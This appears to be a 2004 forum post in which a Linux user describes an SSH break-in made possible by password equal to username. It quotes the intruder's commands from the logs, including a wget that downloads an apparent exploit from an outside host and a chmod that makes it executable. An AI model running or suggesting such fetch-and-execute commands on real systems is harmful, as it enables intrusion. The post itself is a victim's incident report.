Someone logged into my system on 13 Nov 2004
I found the following in /var/log/wtmp

My user password was changed - but not the root password - and the
following commands had been executed:-
w
uname -a
cat /etc/issue
cd /tmp
wget chebeleu.com/local
chmod +x local

There is a similar report dated 10-Nov-2004 at

where someone suggested it might be the exploit at

Anybody know any more ?
Many thanks everybody. I came here to learn and this is the proof that
one should not have password = username.
Over 7 days, every five minutes or so, someone attempted to gain access
to my system with root and all sorts of different account names.
Finally they succeeded:-
[root@caesium ~]# grep -v uid /var/log/secure.2 |grep richard
Nov 13 22:33:42 caesium sshd[4586]: Accepted password for richard from
::ffff:207.36.180.20 port 41610 ssh2
Nov 13 22:34:18 caesium sshd[4633]: Accepted password for richard from
::ffff:208.251.178.235 port 55717 ssh2
[root@caesium ~]#
Time now to wipe the system and install FC3 using stronger passwords on
my account.
